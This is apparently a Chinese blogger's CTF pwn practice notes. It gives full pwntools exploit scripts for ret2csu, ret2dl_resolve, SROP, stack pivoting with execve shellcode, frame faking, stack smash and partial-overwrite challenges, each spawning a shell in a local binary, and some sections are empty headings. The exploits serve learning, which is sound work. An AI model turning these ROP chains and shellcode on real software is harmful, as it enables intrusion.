部门要准备十一月份的比赛,我也跟着报了个名。虽然自己的pwn现在还很水,但是想着趁这个机会督促自己一把,花点时间好好练一些题。平时除了练题,还有其他工作上的事要做,所以这个只是简单地把我做过的题目的write up做了个罗列,还木有时间写详细的分析过程啦。不过想想,除了自己可能也没谁会来看,等以后有时间(呵呵呵)了再回过头来整理吧~

中级ROP

题目1 ret2csu

ret2csu主要是利用__libsc_csu_init()函数中的gadget,如下代码片段:

.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn

将0x40061a至0x400624命名为“片段1”,0x400600至0x400614命名为“片段2”。利用ret2csu时,首先将eip劫持到“片段1”,并通过在栈上提前布置rbx,rbp,r12,r13,r14,r15,达到控制寄存器的目的,再利用片段1中的额retn使程序流转到片段2去执行。片段2中会将r13,r14,r15(低32位)分别用于控制rdx,rsi,edi,如此便能控制64位下的前三个函数参数。紧接着有一条call指令,只要提前将r12控制为目标函数(目标函数地址存放的地址),并将rbx置为0,就可以实现任意函数执行了。后面还有个cmp(提前将rbx设置为0,rbp设置为1)以及一些列pop,提前构造好后,程序会再次运行到最后一行0x400624,此时还可以劫持一次eip,让程序继续执行(如回到main函数)。

这里使用的示例程序是level5,分析后,构造的第一次ret2csu状态如下。执行完csu_front(上文中的片段2)后,会继续执行片段1,为了控制最后一行0x400624 retn时的eip,需要在栈上填充0x38字节数据(为了安全执行完0x400616至0x400622之间的代码)。

+--------------------+
|     csu_front:0x400600
+--------------------+
|      r15           |  1
+--------------------+
|      r14           |  got_write
+--------------------+
|      r13           |  8
+--------------------+
|      r12           |  got_write
+--------------------+
|      rbp           |  1
+--------------------+
|      rbx           |  0
+--------------------+
|      ret addr      |  csu_end:0x40061a
+--------------------+
|       ebp          |  'aaaaaaaa'
+--------------------+
|                    |
|      'a'*0x80      |
|                    |
+--------------------+  buf

该题exp如下,用到的libc是我本地ubuntu18.04的:

#coding=utf-8
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./level5")
myproc = process(myelf.path)

csu_front = 0x400600
csu_end = 0x40061a

got_write = myelf.got['write']
got_read = myelf.got['read']
bss_addr = myelf.bss()
main_addr = myelf.symbols['main']

def ret2csu(rbx,rbp,r12,r13,r14,r15,next_addr):
    payload = 'a'*0x80  # patch
    payload += 'deadbeef'   # overwrite ebp
    payload += p64(csu_end) # overwrite return addr, jump to csu_end
    payload += p64(rbx)          # set rbx to r15
    payload += p64(rbp)
    payload += p64(r12)
    payload += p64(r13)
    payload += p64(r14)
    payload += p64(r15)
    payload += p64(csu_front)    # jump to csu_front,and exec r12
    payload += 'a'*0x38     # 2nd csu_end,and jump to next eip
    payload += p64(next_addr)
    myproc.send(payload)
    
# write(1,got_write,8)
myproc.recvuntil("Hello, World\n")
ret2csu(0,1,got_write,8,got_write,1,main_addr)
write_addr = u64(myproc.recv(8))

# read(0,bss_addr,20)
myproc.recvuntil("Hello, World\n")
ret2csu(0,1,got_read,20,bss_addr,0,main_addr)
 
# input: p64(exec_addr)+'/bin/sh\x00'
libc_base = write_addr - 0x110250
exec_addr = libc_base + 0xe4e90
bss_data = p64(exec_addr) + "/bin/sh\x00"
myproc.send(bss_data)

# execve("/bin/sh",null,null)
myproc.recvuntil("Hello, World\n")
ret2csu(0,1,bss_addr,0,0,bss_addr+8,main_addr)

#gdb.attach(myproc)
#log.warn("write addr is : 0x%x" % write_addr)
myproc.interactive()

题目2 ret2reg

题目3 BROP

高级 ROP

题目1 ret2_dl_runtime_resolve

_dl_runtime_resolve: https://www.jianshu.com/p/57f6474fe4c6

深入了解GOT,PLT和动态链接: https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html

以上结合https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/ 可以写一篇笔记记录一下。免得以后忘记。

练习题目我的wp:

#coding=utf-8
from pwn import *

context(arch="i386",os="linux",log_level="debug")

myelf = ELF("./main")
myrop = ROP("./main")
myproc = process(myelf.path)

bss_addr = myelf.bss()
new_esp = bss_addr + 0x500

myrop.raw('a'*112)
myrop.read(0,new_esp,100)
myrop.migrate(new_esp)
#log.warn("myrop is : %s" % myrop.dump())

myproc.recvuntil("Welcome to XDCTF2015~!\n")
myproc.sendline(myrop.chain())

#myrop2 = ROP("./main")
#sh = "/bin/sh"
#myrop2.write(1,new_esp+80,len(sh))
#myrop2.raw('b'*(80 - len(myrop2.chain())))
#myrop2.raw(sh)
#myrop2.raw('a'*(100 - len(myrop2.chain())))
##log.warn("myrop is : %s" % myrop2.dump())
#myproc.sendline(myrop2.chain())
#myproc.interactive()

#myrop2 = ROP("./main")
#sh ="/bin/sh"
#plt_addr = myelf.get_section_by_name('.plt').header.sh_addr
#write_index = (myelf.plt['write'] - plt_addr)/16 -1
#patch_wt_ret = 'aaaa'
#myrop2.raw(plt_addr)
#myrop2.raw(write_index*8)
#myrop2.raw(patch_wt_ret)
#myrop2.raw(1)
#myrop2.raw(new_esp+80)
#myrop2.raw(len(sh))
#myrop2.raw('b'*(80 - len(myrop2.chain())))
#myrop2.raw(sh)
#myrop2.raw('b'*(100 - len(myrop2.chain())))
#
#myproc.sendline(myrop2.chain())
#myproc.interactive()
#

myrop2 = ROP('./main')
sh = "/bin/sh"
plt_addr = myelf.get_section_by_name('.plt').header.sh_addr
rel_plt = myelf.get_section_by_name('.rel.plt').header.sh_addr

write_got = myelf.got['write']
r_info = 0x607

fake_index = new_esp + 24 - rel_plt

myrop2.raw(plt_addr)
myrop2.raw(fake_index)
myrop2.raw('aaaa')
myrop2.raw(1)
myrop2.raw(new_esp+80)
myrop2.raw(len(sh))
myrop2.raw(write_got)
myrop2.raw(r_info)
myrop2.raw('b'*(80-len(myrop2.chain())))
myrop2.raw(sh)
myrop2.raw('b'*(100-len(myrop2.chain())))
myproc.sendline(myrop2.chain())
myproc.interactive()

题目2 SROP

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop

拓展:https://bbs.pediy.com/thread-258047.htm

练习题目我的wp:

#coding=utf-8
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./smallest")
myproc = process(myelf.path)

ret_start = 0x4000b0
ret_syscall = 0x4000be

# read(0,&rsp,0x400); read(1,&rsp,0x400)
payload1 = p64(ret_start)*3
myproc.send(payload1)
myproc.send('\xb3')
stack_addr = u64(myproc.recv()[8:16])
log.warn("stack_addr is: 0x%x" % stack_addr)

#read(0,&rsp,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rip = ret_syscall
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr

payload1 = p64(ret_start) + 'a'*8 + str(sigframe)
payload2 = p64(ret_syscall) + 'a'*7
myproc.send(payload1)
myproc.send(payload2)

# new stack - we know the addr
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rip = ret_syscall
sigframe.rdi = stack_addr + 0x150
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr

payload1 = p64(ret_start) + 'a'*8 + str(sigframe)
#log.warn("len: 0x%x " % len(payload1))
payload = payload1 + 'a'*(0x150 - len(payload1)) + "/bin/sh\x00"

payload2 = p64(ret_syscall) + 'a'*7
myproc.send(payload)
myproc.send(payload2)

myproc.interactive()

题目3 ret2VDSO

ROP Tricks

题目1 stack pivoting

#coding=utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./b0verfl0w')
myproc = process(myelf.path)

offset = 36

#shellcode_x86 = "\x31\xc0\x50\x68\x2f\x2f\x73"
#shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89"
#shellcode_x86 += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
#shellcode_x86 += "\xcd\x80\x31\xc0\x40\xcd\x80"

shellcode_x86 = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

payload = shellcode_x86 + 'a'*(36- len(shellcode_x86)) + p32(0x08048504)
payload += asm('sub esp,40;jmp esp') 

myproc.recvuntil("What's your name?")
myproc.sendline(payload)

myproc.interactive()

题目2 frame faking

#coding=utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./over.over')
myproc = process(myelf.path)
mylibc = myelf.libc

offset = 0x58
total_len = 0x60

##leak stack
payload = 'a'*0x50
myproc.recvuntil('>')
myproc.send(payload)
prev_rbp = u64(myproc.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.warn('recieved: 0x%x' % prev_rbp)

##leak libc,puts(&got_puts)
pop_rdi_ret = 0x400793
rbp1 = prev_rbp-0x20-0x50
ending = 0x4006be
leak_libc_chain = 'a'*8+p64(pop_rdi_ret)+p64(myelf.got['puts'])+p64(myelf.plt['puts'])+p64(0x400676)
payload1 = leak_libc_chain+(0x50-len(leak_libc_chain))*'a'+p64(rbp1)+p64(ending)
myproc.recvuntil('>')
myproc.send(payload1)
leak_puts = u64(myproc.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.warn('recieved: 0x%x' % leak_puts)
log.warn('mylibc.sym: 0x%x' % mylibc.sym['puts'])
libc_base = leak_puts - mylibc.sym['puts']
log.warn('libc_base: 0x%x' % libc_base)

## get shell,execve("/bin/sh\x00",null,null)
pop_rdx_rsi_ret = libc_base + 0x115189
exec_addr = libc_base + mylibc.sym['execve']
bin_sh = libc_base + next(mylibc.search("/bin/sh"))
rbp2 = prev_rbp-0x20-0x50-0x30

exec_chain = flat(['a'*8,p64(pop_rdx_rsi_ret),p64(0),p64(0),p64(pop_rdi_ret),p64(bin_sh),p64(exec_addr)])
payload2 = exec_chain + (0x50-len(exec_chain))*'a' + p64(rbp2) + p64(ending)
myproc.recvuntil('>')
myproc.send(payload2)

#gdb.attach(myproc)
myproc.interactive()

题目3 Stack smash

2015年32c3 ctf readme

#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('./readme.bin')
myproc = process(myelf.path)

argv0_addr = 0x7fffffffdda8
name_addr = 0x7fffffffdb90
backup_string = 0x400d21
payload = 'a'*(argv0_addr-name_addr) + p64(backup_string)

myproc.recvuntil("Hello!\nWhat's your name? ")
myproc.sendline(payload)
myproc.recvuntil("Please overwrite the flag: ")
myproc.sendline('aaa')
myproc.recv()
myproc.interactive()

题目4 栈上的partial overwrite

2018-安恒杯-babypie

#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

myelf = ELF('./babypie')
myproc = process(myelf.path)

payload1 = 'a'*(0x28+1)

#leak canary
myproc.recvuntil("Input your Name:")
myproc.send(payload1)
myproc.recvuntil('a'*0x29)
canary = u64('\x00' + myproc.recv(7))

#overwrite 1 byte
payload2 = 'a'*0x28 + p64(canary) + 'a'*0x8 + '\x3E'

myproc.recvuntil(":\n")
myproc.send(payload2)

myproc.interactive()

2018-XNUCA-gets

#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

for i in range(0x1000): 
    myelf = ELF('./gets')
    myproc = process(myelf.path)
    try:
        payload = 'a'*24 + p64(0x40059b)
        payload += 'aaaaaaaa'*5 + p64(0x40059b)
        payload += 'aaaaaaaa'*5 + p64(0x40059b)
        payload += 'a' * 8 * 5 + '\x26\x02'
        myproc.sendline(payload)
        myproc.sendline('ls')
        data = myproc.recv()
        print data
        myproc.interactive()
        myproc.close()
    except Exception:
        myproc.close()
        continue